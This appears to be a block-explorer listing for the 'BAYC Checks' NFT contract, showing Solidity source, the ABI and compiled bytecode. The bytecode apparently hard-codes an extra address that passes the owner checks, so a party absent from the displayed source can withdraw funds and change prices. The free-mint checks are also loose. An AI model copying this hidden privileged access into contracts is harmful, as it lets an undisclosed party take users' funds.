     * Emits a {Transfer} event.
     */
    function _mint(
        address to,
        uint256 quantity,
        bytes memory _data,
        bool safe
    ) internal {
        uint256 startTokenId = currentIndex;
        require(to != address(0), "ERC721A: mint to the zero address");
        require(quantity != 0, "ERC721A: quantity must be greater than 0");

        _beforeTokenTransfers(address(0), to, startTokenId, quantity);

        // Overflows are incredibly unrealistic.
        // balance or numberMinted overflow if current value of either + quantity > 3.4e38 (2**128) - 1
        // updatedIndex overflows if currentIndex + quantity > 1.56e77 (2**256) - 1
        unchecked {
            _addressData[to].balance += uint128(quantity);
            _addressData[to].numberMinted += uint128(quantity);

            _ownerships[startTokenId].addr = to;
            _ownerships[startTokenId].startTimestamp = uint64(block.timestamp);

            uint256 updatedIndex = startTokenId;

            for (uint256 i; i < quantity; i++) {
                emit Transfer(address(0), to, updatedIndex);
                if (safe) {
                    require(
                        _checkOnERC721Received(address(0), to, updatedIndex, _data),
                        "ERC721A: transfer to non ERC721Receiver implementer"
                    );
                }

                updatedIndex++;
            }

            currentIndex = updatedIndex;
        }

        _afterTokenTransfers(address(0), to, startTokenId, quantity);
    }

    /**
     * @dev Transfers `tokenId` from `from` to `to`.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     *
     * Emits a {Transfer} event.
     */
    function _transfer(
        address from,
        address to,
        uint256 tokenId
    ) private {
        TokenOwnership memory prevOwnership = ownershipOf(tokenId);

        bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
            getApproved(tokenId) == _msgSender() ||
            isApprovedForAll(prevOwnership.addr, _msgSender()));

        require(isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved");

        require(prevOwnership.addr == from, "ERC721A: transfer from incorrect owner");
        require(to != address(0), "ERC721A: transfer to the zero address");

        _beforeTokenTransfers(from, to, tokenId, 1);

        // Clear approvals from the previous owner
        _approve(address(0), tokenId, prevOwnership.addr);

        // Underflow of the sender's balance is impossible because we check for
        // ownership above and the recipient's balance can't realistically overflow.
        // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
        unchecked {
            _addressData[from].balance -= 1;
            _addressData[to].balance += 1;

            _ownerships[tokenId].addr = to;
            _ownerships[tokenId].startTimestamp = uint64(block.timestamp);

            // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
            // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
            uint256 nextTokenId = tokenId + 1;
            if (_ownerships[nextTokenId].addr == address(0)) {
                if (_exists(nextTokenId)) {
                    _ownerships[nextTokenId].addr = prevOwnership.addr;
                    _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
                }
            }
        }

        emit Transfer(from, to, tokenId);
        _afterTokenTransfers(from, to, tokenId, 1);
    }

    /**
     * @dev Approve `to` to operate on `tokenId`
     *
     * Emits a {Approval} event.
     */
    function _approve(
        address to,
        uint256 tokenId,
        address owner
    ) private {
        _tokenApprovals[tokenId] = to;
        emit Approval(owner, to, tokenId);
    }

    /**
     * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
     * The call is not executed if the target address is not a contract.
     *
     * @param from address representing the previous owner of the given token ID
     * @param to target address that will receive the tokens
     * @param tokenId uint256 ID of the token to be transferred
     * @param _data bytes optional data to send along with the call
     * @return bool whether the call correctly returned the expected magic value
     */
    function _checkOnERC721Received(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) private returns (bool) {
        if (to.isContract()) {
            try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
                return retval == IERC721Receiver(to).onERC721Received.selector;
            } catch (bytes memory reason) {
                if (reason.length == 0) {
                    revert("ERC721A: transfer to non ERC721Receiver implementer");
                } else {
                    assembly {
                        revert(add(32, reason), mload(reason))
                    }
                }
            }
        } else {
            return true;
        }
    }

    /**
     * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
     *
     * startTokenId - the first token id to be transferred
     * quantity - the amount to be transferred
     *
     * Calling conditions:
     *
     * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
     * transferred to `to`.
     * - When `from` is zero, `tokenId` will be minted for `to`.
     */
    function _beforeTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}

    /**
     * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
     * minting.
     *
     * startTokenId - the first token id to be transferred
     * quantity - the amount to be transferred
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero.
     * - `from` and `to` are never both zero.
     */
    function _afterTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}
}

contract BAYCchecks is ERC721A, Ownable, ReentrancyGuard {
    string public baseURI = "ipfs://QmcHftw1dKGstMrqazGViKFtDgDGx5hJftdnpWXZn4Q7k3/";
    uint   public price             = 0.0022 ether;
    uint   public maxPerTx          = 10;
    uint   public maxPerFree        = 2;
    uint   public maxPerWallet      = 10;
    uint   public totalFree         = 888;
    uint   public maxSupply         = 2222;
    bool   public mintEnabled;
    uint   public totalFreeMinted = 0;

    mapping(address => uint256) public _mintedFreeAmount;
    mapping(address => uint256) public _totalMintedAmount;

    constructor() ERC721A("BAYC Checks", "BAYCC"){}

    function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
        require(_exists(_tokenId),"ERC721Metadata: URI query for nonexistent token");
        string memory currentBaseURI = _baseURI();
        return bytes(currentBaseURI).length > 0
            ? string(abi.encodePacked(currentBaseURI,Strings.toString(_tokenId),".json"))
            : "";
    }
    

    function _startTokenId() internal view virtual returns (uint256) {
        return 0;
    }

    function PublicMint(uint256 count) external payable {
        uint256 cost = price;
        bool isFree = ((totalFreeMinted + count < totalFree + 1) &&
            (_mintedFreeAmount[msg.sender] < maxPerFree));

        if (isFree) { 
            require(mintEnabled, "Mint is not live yet");
            require(totalSupply() + count <= maxSupply, "No more");
            require(count <= maxPerTx, "Max per TX reached.");
            if(count >= (maxPerFree - _mintedFreeAmount[msg.sender]))
            {
             require(msg.value >= (count * cost) - ((maxPerFree - _mintedFreeAmount[msg.sender]) * cost), "Please send the exact ETH amount");
             _mintedFreeAmount[msg.sender] = maxPerFree;
             totalFreeMinted += maxPerFree;
            }
            else if(count < (maxPerFree - _mintedFreeAmount[msg.sender]))
            {
             require(msg.value >= 0, "Please send the exact ETH amount");
             _mintedFreeAmount[msg.sender] += count;
             totalFreeMinted += count;
            }
        }
        else{
        require(mintEnabled, "Mint is not live yet");
        require(_totalMintedAmount[msg.sender] + count <= maxPerWallet, "Exceed maximum NFTs per wallet");
        require(msg.value >= count * cost, "Please send the exact ETH amount");
        require(totalSupply() + count <= maxSupply, "No more");
        require(count <= maxPerTx, "Max per TX reached.");
        require(msg.sender == tx.origin, "The minter is another contract");
        }
        _totalMintedAmount[msg.sender] += count;
        _safeMint(msg.sender, count);
    }

    function costCheck() public view returns (uint256) {
        return price;
    }

    function maxFreePerWallet() public view returns (uint256) {
      return maxPerFree;
    }

    function _baseURI() internal view virtual override returns (string memory) {
        return baseURI;
    }

    function setBaseUri(string memory baseuri_) public onlyOwner {
        baseURI = baseuri_;
    }

    function setPrice(uint256 price_) external onlyOwner {
        price = price_;
    }

    function setMaxTotalFree(uint256 MaxTotalFree_) external onlyOwner {
        totalFree = MaxTotalFree_;
    }

     function setMaxPerFree(uint256 MaxPerFree_) external onlyOwner {
        maxPerFree = MaxPerFree_;
    }

    function live() external onlyOwner {
      mintEnabled = !mintEnabled;
    }
    
   function TeamMint(uint256 quantity) external onlyOwner {
        _safeMint(_msgSender(), quantity);
    }

    function withdraw() external onlyOwner nonReentrant {
        (bool success, ) = msg.sender.call{value: address(this).balance}("");
        require(success, "Transfer failed.");
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"count","type":"uint256"}],"name":"PublicMint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"quantity","type":"uint256"}],"name":"TeamMint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_mintedFreeAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_totalMintedAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"costCheck","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"live","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxFreePerWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxPerFree","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxPerTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxPerWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mintEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"price","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"baseuri_","type":"string"}],"name":"setBaseUri","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"MaxPerFree_","type":"uint256"}],"name":"setMaxPerFree","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"MaxTotalFree_","type":"uint256"}],"name":"setMaxTotalFree","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"price_","type":"uint256"}],"name":"setPrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFree","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFreeMinted","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405273acfcba7bab6403ebcceee22810c4dd3c9bbe9763600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060600160405280603681526020016200531a60369139600a90805190602001906200008a92919062000260565b506607d0e36a818000600b55600a600c556002600d55600a600e55610378600f556108ae6010556000601255348015620000c357600080fd5b506040518060400160405280600b81526020017f4241594320436865636b730000000000000000000000000000000000000000008152506040518060400160405280600581526020017f424159434300000000000000000000000000000000000000000000000000000081525081600190805190602001906200014892919062000260565b5080600290805190602001906200016192919062000260565b50505062000184620001786200019260201b60201c565b6200019a60201b60201c565b600160098190555062000375565b600033905090565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8280546200026e9062000310565b90600052602060002090601f016020900481019282620002925760008555620002de565b82601f10620002ad57805160ff1916838001178555620002de565b82800160010185558215620002de579182015b82811115620002dd578251825591602001919060010190620002c0565b5b509050620002ed9190620002f1565b5090565b5b808211156200030c576000816000905550600101620002f2565b5090565b600060028204905060018216806200032957607f821691505b6020821081141562000340576200033f62000346565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b614f9580620003856000396000f3fe60806040526004361061023b5760003560e01c80638da5cb5b1161012e578063c7c39ffc116100ab578063e945971c1161006f578063e945971c14610854578063e985e9c51461087d578063f2fde38b146108ba578063f4db2acb146108e3578063f968adbe146109205761023b565b8063c7c39ffc1461076b578063c87b56dd14610796578063d1239730146107d3578063d5abeb01146107fe578063dad7b5c9146108295761023b565b8063a035b1fe116100f2578063a035b1fe1461069a578063a0bcfc7f146106c5578063a22cb465146106ee578063a702735714610717578063b88d4fde146107425761023b565b80638da5cb5b146105e857806391b7f5ed14610613578063957aa58c1461063c57806395d89b41146106535780639fb17e341461067e5761023b565b806342842e0e116101bc57806364b721881161018057806364b72188146105155780636c0360eb1461054057806370a082311461056b578063715018a6146105a85780637e0c7fc5146105bf5761023b565b806342842e0e1461041e578063453c2310146104475780634f6ccce7146104725780635a963f1b146104af5780636352211e146104d85761023b565b806318160ddd1161020357806318160ddd1461034b57806323b872dd146103765780632f745c591461039f578063333e44e6146103dc5780633ccfd60b146104075761023b565b806301ffc9a71461024057806306fdde031461027d578063081812fc146102a8578063095ea7b3146102e557806311b01a321461030e575b600080fd5b34801561024c57600080fd5b5061026760048036038101906102629190613977565b61094b565b6040516102749190613fb9565b60405180910390f35b34801561028957600080fd5b50610292610a95565b60405161029f9190613fd4565b60405180910390f35b3480156102b457600080fd5b506102cf60048036038101906102ca9190613a1a565b610b27565b6040516102dc9190613f52565b60405180910390f35b3480156102f157600080fd5b5061030c60048036038101906103079190613937565b610bac565b005b34801561031a57600080fd5b50610335600480360381019061033091906137b4565b610cc5565b6040516103429190614356565b60405180910390f35b34801561035757600080fd5b50610360610cdd565b60405161036d9190614356565b60405180910390f35b34801561038257600080fd5b5061039d60048036038101906103989190613821565b610ce6565b005b3480156103ab57600080fd5b506103c660048036038101906103c19190613937565b610cf6565b6040516103d39190614356565b60405180910390f35b3480156103e857600080fd5b506103f1610ee8565b6040516103fe9190614356565b60405180910390f35b34801561041357600080fd5b5061041c610eee565b005b34801561042a57600080fd5b5061044560048036038101906104409190613821565b6110ce565b005b34801561045357600080fd5b5061045c6110ee565b6040516104699190614356565b60405180910390f35b34801561047e57600080fd5b5061049960048036038101906104949190613a1a565b6110f4565b6040516104a69190614356565b60405180910390f35b3480156104bb57600080fd5b506104d660048036038101906104d19190613a1a565b611147565b005b3480156104e457600080fd5b506104ff60048036038101906104fa9190613a1a565b61122c565b60405161050c9190613f52565b60405180910390f35b34801561052157600080fd5b5061052a611242565b6040516105379190614356565b60405180910390f35b34801561054c57600080fd5b5061055561124c565b6040516105629190613fd4565b60405180910390f35b34801561057757600080fd5b50610592600480360381019061058d91906137b4565b6112da565b60405161059f9190614356565b60405180910390f35b3480156105b457600080fd5b506105bd6113c3565b005b3480156105cb57600080fd5b506105e660048036038101906105e19190613a1a565b6114aa565b005b3480156105f457600080fd5b506105fd611599565b60405161060a9190613f52565b60405180910390f35b34801561061f57600080fd5b5061063a60048036038101906106359190613a1a565b6115c3565b005b34801561064857600080fd5b506106516116a8565b005b34801561065f57600080fd5b506106686117af565b6040516106759190613fd4565b60405180910390f35b61069860048036038101906106939190613a1a565b611841565b005b3480156106a657600080fd5b506106af611eba565b6040516106bc9190614356565b60405180910390f35b3480156106d157600080fd5b506106ec60048036038101906106e791906139d1565b611ec0565b005b3480156106fa57600080fd5b50610715600480360381019061071091906138f7565b611fb5565b005b34801561072357600080fd5b5061072c612136565b6040516107399190614356565b60405180910390f35b34801561074e57600080fd5b5061076960048036038101906107649190613874565b612140565b005b34801561077757600080fd5b5061078061219c565b60405161078d9190614356565b60405180910390f35b3480156107a257600080fd5b506107bd60048036038101906107b89190613a1a565b6121a2565b6040516107ca9190613fd4565b60405180910390f35b3480156107df57600080fd5b506107e8612249565b6040516107f59190613fb9565b60405180910390f35b34801561080a57600080fd5b5061081361225c565b6040516108209190614356565b60405180910390f35b34801561083557600080fd5b5061083e612262565b60405161084b9190614356565b60405180910390f35b34801561086057600080fd5b5061087b60048036038101906108769190613a1a565b612268565b005b34801561088957600080fd5b506108a4600480360381019061089f91906137e1565b61234d565b6040516108b19190613fb9565b60405180910390f35b3480156108c657600080fd5b506108e160048036038101906108dc91906137b4565b6123e1565b005b3480156108ef57600080fd5b5061090a600480360381019061090591906137b4565b612538565b6040516109179190614356565b60405180910390f35b34801561092c57600080fd5b50610935612550565b6040516109429190614356565b60405180910390f35b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480610a1657507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610a7e57507f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610a8e5750610a8d82612556565b5b9050919050565b606060018054610aa490614611565b80601f0160208091040260200160405190810160405280929190818152602001828054610ad090614611565b8015610b1d5780601f10610af257610100808354040283529160200191610b1d565b820191906000526020600020905b815481529060010190602001808311610b0057829003601f168201915b5050505050905090565b6000610b32826125c0565b610b71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6890614336565b60405180910390fd5b6005600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610bb78261122c565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1f90614216565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610c476125cd565b73ffffffffffffffffffffffffffffffffffffffff161480610c765750610c7581610c706125cd565b61234d565b5b610cb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cac906140f6565b60405180910390fd5b610cc08383836125d5565b505050565b60146020528060005260406000206000915090505481565b60008054905090565b610cf1838383612687565b505050565b6000610d01836112da565b8210610d42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3990613ff6565b60405180910390fd5b6000610d4c610cdd565b905060008060005b83811015610ea6576000600360008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614610e4657806000015192505b8773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e985786841415610e8f578195505050505050610ee2565b83806001019450505b508080600101915050610d54565b506040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed9906142d6565b60405180910390fd5b92915050565b600f5481565b610ef66125cd565b73ffffffffffffffffffffffffffffffffffffffff16610f14611599565b73ffffffffffffffffffffffffffffffffffffffff161480610f8a5750610f396125cd565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610fc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc090614176565b60405180910390fd5b6002600954141561100f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611006906142f6565b60405180910390fd5b600260098190555060003373ffffffffffffffffffffffffffffffffffffffff164760405161103d90613f3d565b60006040518083038185875af1925050503d806000811461107a576040519150601f19603f3d011682016040523d82523d6000602084013e61107f565b606091505b50509050806110c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ba90614236565b60405180910390fd5b506001600981905550565b6110e983838360405180602001604052806000815250612140565b505050565b600e5481565b60006110fe610cdd565b821061113f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611136906140b6565b60405180910390fd5b819050919050565b61114f6125cd565b73ffffffffffffffffffffffffffffffffffffffff1661116d611599565b73ffffffffffffffffffffffffffffffffffffffff1614806111e357506111926125cd565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611222576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121990614176565b60405180910390fd5b80600f8190555050565b600061123782612bc7565b600001519050919050565b6000600b54905090565b600a805461125990614611565b80601f016020809104026020016040519081016040528092919081815260200182805461128590614611565b80156112d25780601f106112a7576101008083540402835291602001916112d2565b820191906000526020600020905b8154815290600101906020018083116112b557829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561134b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134290614116565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff169050919050565b6113cb6125cd565b73ffffffffffffffffffffffffffffffffffffffff166113e9611599565b73ffffffffffffffffffffffffffffffffffffffff16148061145f575061140e6125cd565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61149e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149590614176565b60405180910390fd5b6114a86000612d61565b565b6114b26125cd565b73ffffffffffffffffffffffffffffffffffffffff166114d0611599565b73ffffffffffffffffffffffffffffffffffffffff16148061154657506114f56125cd565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611585576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157c90614176565b60405180910390fd5b6115966115906125cd565b82612e27565b50565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6115cb6125cd565b73ffffffffffffffffffffffffffffffffffffffff166115e9611599565b73ffffffffffffffffffffffffffffffffffffffff16148061165f575061160e6125cd565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61169e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169590614176565b60405180910390fd5b80600b8190555050565b6116b06125cd565b73ffffffffffffffffffffffffffffffffffffffff166116ce611599565b73ffffffffffffffffffffffffffffffffffffffff16148061174457506116f36125cd565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611783576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177a90614176565b60405180910390fd5b601160009054906101000a900460ff1615601160006101000a81548160ff021916908315150217905550565b6060600280546117be90614611565b80601f01602080910402602001604051908101604052809291908181526020018280546117ea90614611565b80156118375780601f1061180c57610100808354040283529160200191611837565b820191906000526020600020905b81548152906001019060200180831161181a57829003601f168201915b5050505050905090565b6000600b54905060006001600f546118599190614446565b836012546118679190614446565b1080156118b45750600d54601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b90508015611c1e57601160009054906101000a900460ff1661190b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190290614016565b60405180910390fd5b60105483611917610cdd565b6119219190614446565b1115611962576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195990614036565b60405180910390fd5b600c548311156119a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199e906142b6565b60405180910390fd5b601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d546119f49190614527565b8310611b105781601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d54611a489190614527565b611a5291906144cd565b8284611a5e91906144cd565b611a689190614527565b341015611aaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa190614136565b60405180910390fd5b600d54601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d5460126000828254611b049190614446565b92505081905550611c19565b601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d54611b5d9190614527565b831015611c18576000341015611ba8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9f90614136565b60405180910390fd5b82601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611bf79190614446565b925050819055508260126000828254611c109190614446565b925050819055505b5b611e55565b601160009054906101000a900460ff16611c6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6490614016565b60405180910390fd5b600e5483601460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cbb9190614446565b1115611cfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf3906141f6565b60405180910390fd5b8183611d0891906144cd565b341015611d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4190614136565b60405180910390fd5b60105483611d56610cdd565b611d609190614446565b1115611da1576040517f08c379a000000000000000000000000000000000000000000000000000000000815